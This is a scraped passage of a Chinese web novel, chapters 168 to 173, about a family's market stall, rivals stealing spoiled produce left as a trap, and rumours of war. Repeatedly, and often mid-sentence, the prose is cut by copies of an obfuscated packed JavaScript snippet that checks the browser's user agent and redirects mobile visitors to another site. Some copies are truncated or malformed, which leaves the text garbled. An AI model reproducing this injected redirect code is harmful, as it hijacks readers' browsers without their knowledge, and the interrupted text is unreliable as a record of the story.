“一家人,谁跟你们是一家人?”乔老头冷着脸:“我们乔家可攀不上你们这样的亲戚。” 沈氏没有了耐心,就要硬闯过来, 被阿大阿二死死拦住,阿三一条棍子敲在她的后腿上。 这章没有结束,请点击下一页继续阅读! 第168章 给媳妇孙女们买银首饰 乔镰儿走出仓库,把阿大他们招过来。 “今晚宋家人会来偷东西。” 阿大一听攥起拳头:“那我们就不睡了,等着他们一来,就给他们一顿好收拾。” “死性不改,偷东西打死都活该。”阿二怒道。 “你们不用管,让他们偷,我在仓库里放的东西,就是让他们偷的。”乔镰儿说。 阿大一脸的不理解:“为什么呢镰儿姐,凭什么让他们偷,这不是便宜了他们。” “明天你们就知道了。” “不过今晚你们最好不要睡在房间里,我担心他们会吹迷烟,万一突然发了狠心,要报今天的仇,会伤害到你们。” “好,就按照镰儿姐说的做。”阿大点头。 今天每人给他们结了一百文,应该长期是这个数了,这样他们一人一个月就有三两银子,比干苦力活都好多了,他们要为镰儿姐尽心尽力。 镰儿姐让他们做什么,他们都乖乖听话。 乔镰儿走到巷子口,大红和家里人都在那里等她。 “那几个孩子就住在这里?”乔老头问道。 “是呢,原本他们在街上流浪,跟人乞讨过日子。”乔镰儿说:“虽然是几年没人住的废院,但也好歹有了个遮风挡雨的地方。” “这样也好,有屋子住,有点钱买米买菜做饭吃,他们在一起,同心同力也不怕被人欺负,只是没有爹娘,实在是有些可怜啊。”乔老头叹了一口气。 乔老太拉着乔镰儿的手,走到一边。 “镰儿,奶跟你商量个事。” “奶,啥事呢。” 乔老太看了一眼冯氏她们,眼里多了一抹柔和。 “你的几个伯母嫁到我们家这么多年,一直吃苦耐劳,可是家里穷,她们多少年都没有过上好日子,我是打算今天趁着我在街上,给她们挑些银首饰,犒劳她们的辛苦。” “还有你娘,她是我的女儿,又在婆家被欺负,到底是我没有护好她,都要买。” “好,这就去买。”乔镰儿很赞成。 爷奶应该只是今天来,他们年纪大了,禁不住马车反复的颠簸。 而且老人家比较喜欢待在家里,看顾家里。 今天来小吃摊图个新鲜,看一眼县城,对于他们来说就够了。 所以,乔老太想趁着今日,给女儿和媳妇们送一份心意。 这也是她多年来的一个心愿。 “老大老二,大用大成,还有老头子,你们就在这里看顾马车,其他的人,咱们去逛一逛。”乔老太说。 大用大成今天没有看到凌音,脸上有些失落,乔老太的话他们只是懒懒地应下,显然在走神。 倒是乔老大发现了区别:“咋都是咱们男人留在这里,娘,你要带着她们去哪里啊。” 乔老太对他使着眼色:“别多问。” 冯氏万氏她们也是有些疑惑,只跟在乔老太的身边。 乔镰儿天天来,对这些街道熟悉,这条街上并没有卖首饰的地方,要到后面那一条街去,有一地段挨着几家店铺,都在卖首饰。 直到一大一小带着她们进入一家首饰店,冯氏她们开始明白了。 可是都有点不敢相信。 “手上戴的镯子,头上用的簪子,你们自己挑,家里老三媳妇我给她挑一样。”乔老太道。 女人们的眼睛一下子湿润了。 以前是家里没钱,只要有钱,婆婆就给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615447|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们买。 “娘,你有这一份心意,我记在心里,我的就不要了,要么等到家里房子盖起来了再说。”冯氏推脱道。 都嫁来乔家这么多年了,孩子都大了,她自己也要当婆婆了,还在乎这些吗? “不行,谁都得挑,一个银手镯,一个银簪子打底,你们按着自己喜欢的式样来,谁要是不挑,我这个老婆子跟她过不去。” “家里现在已经可以盖房子了,等到雨季一过,就找工匠,买些镯子簪子的不影响。” 乔老太向来说一不二,女人们听了,都默默把眼泪吞回肚子里,然后去挑首饰。 “还有你们两个愣着做啥。”乔老太看乔溪儿和乔吱吱在一边不动,只是眼巴巴地看着那些摆着琳琅满目首饰的架子。 两人眼睛一亮:“奶,我们也有呀。” “咋没有,溪儿你及笄了,就买银簪子,吱吱你还没有及笄,就买银头花。” 两个人高高兴兴跑去挑了。 一看来了这么多人都要买首饰,老板很高兴,围着她们做介绍。 乔镰儿也给自己买了两朵银头花,还有银头夹。 她看乔溪儿和乔吱吱一人只拿了一样,用手肘碰了碰她们:“多拿一点,买少了奶奶不高兴。” 虽然是乔老太发的话,可这个家主要赚钱的人是乔镰儿,两人又美滋滋再挑选了一两样。 乔老太不由得在想,是不是家里人都有点怕她。 挑个东西都畏手畏脚的。 哼,她老婆子可是和蔼得很。 “娘,你咋不给自己挑呢,不能只是我们买,你不买呀。”乔云妮道。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第169章 抢生意:我们家的一模一样还更便宜 四更,县城所有人都睡下,大街上已经没有什么人影,只有打工的人敲着铜锣经过,一边喊着:天干物燥,小心火烛。 宋家人开始行动。 他们偷偷从院墙上溜进废院,轻手轻脚摸到屋子外头,也不管有没有人,就对着里头吹迷烟。 “大哥,今天这些臭小子把我们耍得好惨,我们进去把他们的胳膊腿都卸下来。”宋老二低声阴郁地说。 月色下,宋老大脸上有点心动,他正要点头,宋大明从仓库那边跑过来,一脸的惊喜。 “爹,二叔,仓库好多食材,好多货。” 大家眼睛一亮,还浪费这个时间干啥,去搬货啊。 等进到仓库,借着月色,果然看到食材堆满了半个屋子。 宋家人啥也不说了,男人女人齐上阵,赶紧搬。 两千多斤快三千斤,一袋有五十来斤,宋家人搬到六号摊位,跑了好几趟。 然后,一个个靠在袋子喘气。 至于那个仓库,已经被搬空。 “等天亮,咱们家不仅能卖小吃,还能卖食材。”宋老婆子一点睡意都没有,围着这些袋子走来走去,一脸的满意。 真是零元购,一点成本都没有,太值了,太赚了。 沈氏得意道:“我们开始卖的时候,乔家人才刚刚起床,等他们到县城,我们的生意已经火热,口碑都打起来了。” “是啊,到时候,这些小吃生意就是我们家的,八号摊位再也维持不下去,乔家人只能给我们供货,我们想给他们多少钱就给他们多少钱。”陈氏也是敲着如意算盘。 马上,宋家人就要发达了,一天赚个几十两,那样的日子简直快活似神仙。 宋老大和宋老二已经想着,等到发达了,纳一两门小妾,美滋滋。 现在,他们看着沈氏和陈氏,已经觉得有点不顺眼。 他们不知道,刚才那些孩子就趴在屋檐上,看着他们在废院里进出搬运食材。 几个孩子从屋檐上跳下来,把那些被迷烟熏过的屋子打开门窗透气。 “老大,镰儿姐为什么要让这些人偷东西啊,都是食材,偷走了不是可惜了。” “是啊,他们明显是要做一样的小吃生意,会抢走镰儿姐的客源的。” “你们不用担心,那些食材我去看过了。”阿大挤眉弄眼。 “等到明天,就有好戏看了。” 他也是看了那些食材,才知道镰儿姐为什么要这样做。 第二天早上,乔家人出发的时候,村里人看到了乔家女人手上戴的银镯子,头上戴的银簪子。 不是一个有,是个个都有,媳妇女儿孙女都有。 哪怕她们为了不引人注目,尽量用头发藏住簪子的大部分,用袖子遮掩了银镯子,但这又怎么会逃得过眼尖的村里人的目光。 “哟,现在你们是有福气了,个个穿金戴银了。”一个村里的大婶带着羡慕说。 “是啊,我嫁到刘家这么多年,连碎银子都没有摸过。”一个大娘也是叹了口气。 万氏笑笑:“倒也不是显摆,是刚刚才买,我们图个新鲜。” 早上她们本来不打算戴的,婆婆偏要她们戴上,说这才能显出她对她们的好,不让村里人看轻了去。 她们心中自然是不认同乔老太的这个说法,乔老太从来没有亏待过她们,把她们当做亲女儿一样疼。 只能说,乔老太想法不同,她们就依着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615448|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些簪子镯子戴身上,感觉的确不一样,很满足,很开心。 女人们身上的衣料子,也都换成了更好的细棉,穿着很舒服。 昨天逛了首饰店出来,又去了成衣店,直接买做好的衣服。 把买布料做衣服的时间用来赚钱,赚的比省的更多。 所以,乔老太直接给家里每人买了两身,男人女人都买。 这一下又花去了二两银子,昨天买首饰衣服的钱,总共花去二十二两。 在乔老太心中,以目前这样的赚钱速度,钱财会不断积累起来,在条件允许的情况下,人活着也不是要一心想着赚钱, 抠抠巴巴生怕多花一分钱,家里人过得舒心安逸也很重要。 今天轮到大房做饭,就换冯氏和溪儿留在家里,宋老大也留下来了,这个家里,总要有一个身强力壮的男人在。 等大家到县城,才发现六号摊位早就忙活起来,热火朝天,炭火烧着,油锅炸着,汤锅煮着,那些小吃也都做好了。 “价格更便宜的炸土豆炒花生煮玉米啦。”宋老太对着街上的人吆喝。 宋老大:“走过路过不要错过了,好吃又省钱,我们家可不兴压榨客人。” 这就是说他们压榨客人呗,乔家人听了好笑。 本来以为宋家人在开玩笑,他们哪里有这些食材。 不过等目光落到六号摊子上,乔家人不由得诧异。 真的是土豆花生玉米。 而且摊子后面,还堆了好多袋,卖个几天没问题,或者做食材批发也能赚不少钱。 大家相互对视了一眼,一脸的不可思议,又看向了乔镰儿。 本小章还未完,请点击下一页继续阅读后面 精彩内容! 第170章 那么另一半虫子在—— 玉米棒子比八号摊位买到的个头小了一半,而且上面也只结了一半的果实,好几处有被虫子啃过的痕迹,更令大娘神情大变的是,有半条虫子残留在玉米棒子上,这条虫子还很肥大。 那么另一半在—— 大娘顿时就石化了,心里面天崩地裂。 等到终于缓过来一些了,她爆发出一声撕心裂肺的惊叫。 “啊!” 二声:“啊啊!” 四声:“啊啊啊啊!” 大娘一边跺脚叫着,一边啊呸呸地把嘴巴里面的东西吐出来,连着隔夜饭也吐了出来。 那些正要买小吃的客人赶紧后退开。 “好恶心啊,大娘,你在做什么啊。” “是啊,我还没吃早饭呢,你这不是故意膈应人吗?” 客人们都很愤怒,纷纷指责大娘。 本来这个大娘买完小吃,一动不动地挡在摊位前,大家催促已经够烦了,又看到她这样呕吐。 好心情都被她败光了。 大娘吐得差不多以后,又冲到宋家准备的水桶旁边,舀水漱口。 “大娘,你这是什么意思?故意来坏我们家生意是吧。” 看到闹出这一出,宋家人面色都不好了,宋大花走到大娘的跟前:“你买了东西就赶紧走开,不要到我们这里来吐。” 大娘终于缓过来了,可是心里面还是压不住一阵阵恶心,但她现在已经能够跟人交流了。 大娘哼了一声:“我为啥要吐,还不是因为你们家卖的小吃?” “我吐成这个样子,你们不光要退钱,还要赔我钱。” 她这话说完,客人们都疑惑朝她看过来。 “我说这位大姐,今天是我们六号摊位第一天开张,你不要故意泼脏水搞破坏啊,不然告衙门来抓你。”宋老大警告道。 “你们卖这样的小吃,还好意思告衙门来抓我,我看告到衙门去,被抓走的是你们才对。”大娘气哼哼说着,拿着小吃走到大家的面前。 “你们看清楚一点,他们家的玉米棒子,连果实都没有结全,还有好多处被虫子咬,还有这半条虫子,有一半被我吃了,不然我为啥要吐。” 客人们一听都睁大了眼睛,仔细一看,不光是大娘,就连他们也想吐。 有一个小孩往大娘手上一指:“另一个玉米棒子上,玉米缝里还有两条虫呢。” 客人一阵哗然,又不由得往后退了两步。 “妈呀,这么多虫子,还是给人吃的吗?” “这不是在卖小吃,这是在卖虫子吧。” 再看看摊位上的那些土豆,虽然炸熟了,可是表皮局部发青发黑,而且比较小块,让人不太有胃口,不像八号摊子,大块大块的,每一块都色泽金黄。 又看那些花生,比八号摊子的要小一倍,小手指尖尖那么大不到,颜色并不均匀,有的颜色深的,给人一种变质的感觉。 一个客人尝了两颗花生,也是啊呸呸地吐出来。 “味道不对,不知道是不是放久发霉了。” “我就不信这个邪了,哪里有人会专门拿长虫子的食材来卖?这也太胆大包天了吧。” 一个身强力壮的大叔冲上去,抓起两个玉米棒子把外衣剥开。 这才一剥开,就有两个肥滚滚的白虫子掉落下来。 客人们的脸都青了,像见鬼了一样,轰然跑了。 这不是来卖小吃的,这是来吓人的。 宋家人也是呆住了,他们没有想到,这些食材竟然有这么多的问题。 看到这么多客人离开,他们都急了。 “唉,大家别走啊,只是意外,只是偶然,我保证其他的玉米棒子里没有虫子。” 宋老二一边说着,一边拿起一个玉米棒子来剥外衣。 这一剥,就看到都是虫洞,被啃得只剩下几颗玉米,又有几条虫子掉了下来。 有客人回头过去看,一看跑得更快。 宋大花拿起一颗花生来吃,正好拿到发霉的,赶紧吐了出来。 宋小花夹起一块土豆,比起花生和玉米,土豆的情况要稍微好一点,但是也远远没有八号摊位的好吃,反而嘴巴里面有一种不舒服的味道。 宋家人都沉默了,心凉成了冰窟,他们这是栽了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615449|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们以为占到便宜,一袋一袋搬来的食材,居然有这么多的问题。 这个摊位他们是花十两银子租下来的,还出了油盐酱醋,结果一大早开张就闹了这么大一个笑话。 他们想死的心都有了。 这下子别说打出口碑了,客人经过他们的摊位都绕着走。 反而八号摊位前,又排起了长队。 宋家卖的食材这样残次,这是乔家人万万没有想到的。 特别是那些掉下来的虫子,把他们都看不会了。 他们以为玉米就是长自家卖的这种样子的,原来还能生这么多虫子。 怪不得镰儿告诉他们,不用担心,宋家不是他们的对手,难道这件事情镰儿早就有预料。 感觉到大家探寻的目光,乔镰儿偷偷道:“外国商人把好的食材卖给我,把不好的食材放在一个地方,宋家人应该是去偷 的。” 原来如此,大家恍然,本来还觉得,哪怕宋家不做人吧,但外国商人卖这种食材也有点不厚道,万一卖给的不是宋家人,而是别人呢。 原来竟然是宋家人去偷的。 活了个该。 把火升起来了,炸花生土豆,煮玉米也就快了,很快八号摊子这里一片火热。 看到大块大块金黄的炸土豆,饱满的花生,大个糯香的玉米。 客人们觉得,在六号摊子受到污染的眼睛终于治好了。 宋老太急得直跺脚,生意就这样被乔家人全抢走了,本来是属于他们的,这怎么得了? “这么多食材,总能挑一些好的出来吧,把好的挑出来做小吃。” 不求几十两,今天先赚个十两回本。 宋家人去扒那些袋子,他们发现,这些食材几乎都长得一模一样,都是一样的小,一样的残缺,就连矮个子里拔将军也做不到。 剥开玉米衣,都有虫子,剥开花生壳,就有一颗是发霉的,甚至有的还卧着虫子,土豆的身上,有几处泛着青发黑,一看就是没有发育好。 “娘,咋办啊,这些根本就卖不了钱。”沈氏忍不住要哭。 宋老太想了想,有了。 第171章 告诫:家里不要留银子,不要堆米粮 “这些土豆,把坏的削掉,好的留下来,玉米粒好的剥下来,花生也是,留好的。”宋老太道:“今天怎么着也要回一点本。” 宋家人赶紧忙活起来,一个个手忙脚乱的,乔家人摊前生意这么好,让他们有了急迫感。 得赶紧把能吃的小吃做出来。 比起那边,乔家却是从容不迫的,忙中有秩序。 谁负责收钱,谁负责锅里,谁负责处理食材,都有分工。 看到宋家搬走的食材掉出来这么多虫子,几个孩子也明白了,为什么镰儿姐和老大都让他们看着宋家人把食材偷走。 今天真是看了一出好戏,看得浑身舒畅。 乔镰儿不做辣椒酱了,费时费力呛人,可是又有人来问。 她干脆把配方告诉客人,让客人买干辣椒和小米辣回去自己做,这样一来省成本,二来她这里省功夫。 再说,她现在空间里的食材供应丰富,想买多少都有,直接卖食材才是最快捷的。 客人一算,一份辣椒酱十五文钱,才有小半斤,一斤算下来,可不得三十七文钱。 而一斤干辣椒二十文钱,一斤鲜小米辣十文钱,三十文钱总的可以买两斤了,再加上其他的料,能做出两斤多的辣椒酱。 直接买食材回去做,的确是省了不少钱,于是,大家都是大几斤辣椒小米辣地买,买的人越来越多。 又有几家酒楼来买辣椒,因为他们从明月楼生意的火热发现了,客人们很喜欢吃辣,特别是这种直接的辣。 苏厨子把餐桌上辣味的市场打开了。 来的不仅仅有酒楼饭馆,还有那些做腌菜的,甚至这条街上的小吃摊主都来这里进辣椒。 很多小吃裹上辣椒,口感又上了一个层次。 乔镰儿一抬眼,苏厨子不知道什么时候来了,笑眯眯站在一边。 而上一次苏厨子出现在这里的时候,是一脸的不苟言笑。 “丫头,再给我来三百斤干辣椒,三百斤鲜辣椒。” 馥桂楼和玖味楼是先用这些食材的,但是先用这样的辣椒,却是明月楼。 大家都吸引到了不少的客源。 现在他每天都在研究用辣椒做菜品,放多少辣椒,什么时候放,都有讲究,因为他很清楚,其他的酒楼也会跟上。 他先做的辣味,他要让辣字成为明月楼的一块招牌。 经过昼夜不休的研究,苏厨子又拿出了好几道自认为不错的辣味菜肴,已经让客人免费试吃过,都说味道好,他知道大卖有望,所以一买辣椒就买这么多。 “好咧,大猛哥小猛哥,过了秤,就给苏叔叔扛过去。”乔镰儿热情地说道。 “成。”二人人手脚麻利,把干辣椒和小米辣下称,给苏厨子过了眼,然后扛去明月楼。 苏厨子让跟着的小二付钱,要这么多辣椒,就去了九两银子。 但是比起酒楼生意的火爆,这点成本算不了什么。 “打仗,不可能,咱们大泽国太平这么多年,眼下是盛世,兵强马壮,百姓安居乐业,怎么可能会打仗呢。” 有两个人带了高粱酒,坐在小桌子旁吃花生,一边讨论。 “反正我是听到一点风声,说是从京城传到这里来的,咱们南部的邻国倒是安分守己,可是北方部落,一直对咱们大泽国虎视眈眈,在伺机而动呢。” “你看着是盛世,实际上国库已经在亏空,要真打起仗来拿啥支撑,遭殃的还不是咱们老百姓。” “风声不过是以讹传讹,谁能当得了真,我还听说东部哪里出了僵尸,会吃人呢,还有咱南部的邻国,出了一个变态的部落,专门把人逮去割腰子,说这个东西能壮肾,有人专门收了吃,你觉得可能吗?” “唉,你说的这些像是天方夜谭,自然是不可能,可是打仗,却是国家之间常有的事情。” “不可能,咱们大泽国就是厉害,已经屹立了百年,谁能动得了?就算北方部落想要南下,也会被打得屁滚尿流地滚回去,磕头告奶奶叫爷爷。” “我还听说今年会加重田租税和人头税,像这些做生意的摊主,不只是双倍,甚至是四五倍地收。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615450|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 古时候重农抑商,经营商业之家,每年要交加倍的人头税。 像在这里摆摊,不仅仅有摊位费,每个月还要根据经营所得结一次税,大泽国开国君主开明,取消了市场管理税,但是其他两项还在。 “不可能不可能,不要说这些丧气话,免得影响了气运,来,喝。” 乔镰儿可是把他们的对话一字不落地听到了耳朵里。 她看到两人的盘子快要空了,又舀了一大勺花生放进去。 两人眼睛一亮,这是白送? 乔镰儿也拖了个小凳子坐下来。 “两位大叔,这是免费给你们吃的。” “哎,好好,多谢了,你这丫头心地真好。”两人很高兴,又可以唠嗑好一会儿了。 “就是刚才我听说,要打仗啥的,这个消息有可靠的来源吗?” “咳,小丫头,你听他乱说,他是喝酒喝多了,信口胡诌,捕风捉影呢,不要当真,咱们大泽国平平顺顺的,老百姓也平安喜乐 。” 说会打仗的那个大叔脸上却是有些严肃:“小丫头,我的远房亲戚在京城做官,他的小舅子上个月来过这里一趟,跟我喝了几顿酒,与我透露了一点消息,前两年粮税就有些加重,那些粮食都运往了北方,是朝廷在提前做准备呢。” “看在你给大叔免费吃花生的份上,大叔好心好意提醒你一句。” 他环顾左右,靠近了乔镰儿,压低声音。 “家里不要留太多的银子,不要堆太多的米粮。” 乔镰儿心头一震。 “北方打仗,侵扰不到咱们这里来,不用担心流离失所,但是能够被带走的东西,在其他地方需要的时候,就有点留不住。” “刚才我说亏空,可能比估计的还要更严重,唉,这个不能多谈。” “还有,你多注意一下周围的变化,如果有哪里不对劲,摊就暂时不要摆了,不然你们赚这么多钱,还有大量食材买卖,你会先被人盯上。” “小丫头,千万记住了啊。” 第172章 再遇裴家兄弟,打探情况 乔镰儿感到一阵凉意,嗖嗖地往袖口和领口钻,游荡在全身,甚至要从皮肤深入到五脏六腑。 她以为,这样稳定的买卖可以持续下去,成为一项源源不断的收入,哪里想到,局势开始有了变化。 “那最近,不会有什么事吧。” “最近应该不会,咱们南国不是有个暴雨季,谁来都嫌麻烦,至少雨季不会来。”那个大叔几乎是肯定的口吻。 乔镰儿觉得,他肯定比说出来的知道更多。 “好,多谢大叔。” 天穹上烈日炎炎,碧空万里,哪怕是隔着油伞,也能够让人感到隐隐的热浪。 可是乔镰儿却摩了摩手臂,是真的有点冷,一种说不出来的危机,不知道潜伏在哪里,不知道什么时候到来。 那两个大叔吃完花生米就走了,只留下一个空荡荡的小酒坛子。 乔镰儿情绪不太好,怕被家里人看到,就钻进马车里,细细沉思着。 暴雨季不会来,那么她还有几天赚钱的安全期。 这两年经过了准备,如果真的打起仗来,需要物资的救援,也没有那么急促,一开始是撑得住的。 所以,她有时间把房子盖起来。 但是,她要加快这个进程。 目前这些钱拿在手里,就是一个不安全的因素。 都知道他们乔家挣了不少钱,到时候村里有人一指控,那就惨了。 虽然村里大多数人都是好的,但也有那么一小撮怀着各种心思。 乔镰儿深吸了一口气,她真的希望这些只是捕风捉影,这样,等房子盖好,这个家又可以不断攒钱了。 等乔镰儿从马车里出来,脸上又恢复了平常。 忙了一会儿,好像在不远的街道交叉处看到两个熟悉的身影,但是一晃眼,他们又不见了。 “大哥,南国真是地大物博,物资丰盛啊。” 这两人正是裴祝锦兄弟。 走过这一条街,拐入另一条,裴时玖拿起摊位上一个有趣的玩意儿拨弄着,一边说道。 “是啊,北国今年闹灾荒,许多田地颗粒无收,南国这里倒是风调雨顺,看得让人赏心悦目。”裴祝锦脸上带着淡笑。 “不过大哥,父亲让我们来调查这些情况做什么,经过这好几个月的行程,我浑身的骨头都要散架了。” 裴时玖说着,顺手把东西买下了。 “这个,我也不知道,父亲让我们出来考察民情,是为了历练我们吧,我们回去只需要如实禀报。” 裴祝锦脸上有些感慨:“这一趟出来。还是学到了不少东西,也看到了百姓着实不容易。” 他的眉宇之间,多了一层淡淡的悲悯。 见裴时玖挑了这个摊子,又被另一个摊子吸引跑了过去。 “弟弟,前些日子父亲才来信,要我们赶紧回去,你不能再贪玩了,该加快行程了。” “不嘛大哥,南国比北国好玩多了,咱们又难得来一次,就今天,你让我在咏关县买个尽兴,再吃一吃当地特色,我还没吃够呢。” “明天一大早,咱们就马不停蹄赶回去。” 裴时玖抱住裴祝锦的后腰,仰头看着他,巴巴地像个小狗。 “唉,弟弟,你实在是任性,昨天要留在这里玩,我已经是纵容你,今早起来也不肯出发。”少年眉头微皱。 “大哥你看我的手,昨天打赌赌输了,倒立走被石块和藤蔓划伤了,我也是要养一养伤的。” 裴时玖见状,卖起了可怜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615451|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他摊开的手,的确都是划伤的痕迹,昨天哪怕那个丫头已经走了,可他还是卯足了劲,咬着牙倒立上坡,一直到了道上。 少年无奈地叹了一口气:“好吧,再纵容你一日,明天可不许耍赖了,不然,拖也要把你拖到马车里。” 乘坐马车又不是驱赶马匹,手受伤了又有什么要紧,只是少年懒得拆穿。 逛着逛着,又从另一个街口逛到了长青街。 看到一处小吃摊子,有很多客人在排队,热闹非凡。 裴时玖的眼睛亮了。 “大哥,那里一定很好吃。”一边说着,一边加快了脚步。 等到两人来到摊前,看到摆摊的人正是昨早遇到的那个小丫头,两人不由得有些诧异。 小丫头正在处理食材,手脚麻利,一刻都不停。 她低着头,并没有看到他们。 裴时玖刚要打招呼。 “二位,请到人后排队去,先来后到。”乔吱吱礼貌笑道。 裴祝锦拉着裴时玖,往人后方走去。 男孩盯着摊位上那些从来没有见过的小吃,看那些买走的人一口一口吃得很香,嘴巴里也不由得在淌口水。 “大哥,这些吃的,从来没有见过呢。” “是呢,南国物产丰饶,没有见过也正常。” 好不容易排到他们,乔镰儿一抬头,就打了个照面。 乔镰儿愣了一下,两人却像早就看到她似的。 “小丫头,你好啊,没想到吧,我们又见面了。” 裴时玖抬起手来招呼,露出满手的伤痕,只是象征性地裹了两条细布。 小主, 这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第173章 好,到时候,我给你写信 乔镰儿解释道:“因为这里离北方太远了,你们连州怎么说也靠近中部,或许对北方的情况要更了解一些。” “我们这些在南国的老百姓,始终惦记着皇上是否康健无忧,希望皇上福如东海,寿比南山,也知道北方一直在受北边部落的侵扰,希望太平无事。” 裴祝锦更是多了些意外,没想到这么个小丫头,就这么小的一点,有如此大义之心。 他一想,又知道了乔镰儿的意思。 她这样打探,定是因为想要知道北方是否安宁,京城是否稳定,因为天家朝廷在北,只有北方好了,南方才会好。 特别是她们这些做生意的,更不希望有什么变动。 裴祝锦嘴角边多了一抹淡笑,农人家的姑娘,这么小的年纪,这样聪颖,实在是少见。 道:“都好,目前情况有序井然,一如既往,乔姑娘请放心经营一切。” 裴祝锦说这句话的时候,乔镰儿注意看他的脸色,他并没有在骗她。 她之所以跟这两兄弟问这些,是看他们的气度,料想他们是来自大地方的人。 母家在连州而已,那么父亲家呢。 有什么大的动向,或许他们是首先能够接触到消息的那些人。 乔镰儿轻垂下眼皮,她在来的那个世界,活了快三十年,能够判断出来一个人是否在说真话,那个大叔完全不像是在撒谎的样子。 裴祝锦也是,他虽然年少,却因为是兄长而更添沉稳,待人真诚。 要么就是因为他们两兄弟年纪太小了,对这些情况一无所知。 突然想到了什么,乔镰儿心念一动。 “你们出来得多久啦。” “四五个月了,我们游历遍了南国,也该回去了。”裴祝锦道。 “哇,就是游山玩水?” “不仅仅是,家里让我们两兄弟出来历练,看看情况,比如生意经营如何,作物生长如何,桑麻的产量是否有提高。” 裴祝锦不觉得这些有什么,都托盘相告。 乔镰儿一下子警惕起来,这不活生生碰见了两个在南国看物资情况的人。 而他们出来四五个月了,对各个地区都有了个大概的了解。 当然,为什么让他们来看这些,他们的家里一定在瞒着他们。 要不然,裴祝锦不可能会这样坦诚。 他们不知道那个大叔说的情况,是因为他们在外头太久。 等他们回去,肯定会得到一些新的消息。 乔镰儿的小手指在桌子上敲着。 她当然不能阻止两人回去,把南国的情况据实相告。 就算不是他们来,也会有别人来。 “裴公子,我们做生意的,就只求一个安稳,小老百姓过一个平静的日子不容易,你们回去了,如果听说哪里有不好的风向,能不能给我写一封信。” “不只是北部,还有东部,西部,我们南国这里,距离其他地方实在是太远了。” 裴祝锦这下子好好打量起乔镰儿来,因为这丫头的脑子,超乎他的想象之外。 虽然现在京城的确太平,北方部落也没有侵犯,一切风平浪静的,但她遇到了他们,应该是猜到他们身份不简单,所以想从他们这里得到更多的消息。 为以后的长久安稳做准备。 像这里虽然物产丰盛,但是比起中部,北部的确要闭塞一些,离朝堂越远的地方,消息越滞后。 就冲她的才华,就冲她小小年纪就有的灵慧。 裴祝锦一口答应下来:“好,真有那个时候,就给你写信。” 裴时玖吃着土豆块,也在默默听他们两个人说话,他也是多瞄了乔镰儿几眼,心想这丫头还真不简单呀。 他和哥哥这样的家世,那些权谋的漩涡时不时就来侵扰他们,随便就可以触摸到。 像这小丫头这样警惕,知道提早做准备,有点像那些未雨绸缪的谋士。 “小丫头,你才七八岁,有些事情,该是你爹娘来关心,你吃饱了,该玩玩,该睡睡。”裴时玖说。 “我已经十二岁了。”乔镰儿提到这个就忍不住骂宋老太,发霉的包子馒头,馊掉的饭菜,把她养成这个样子,谁看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 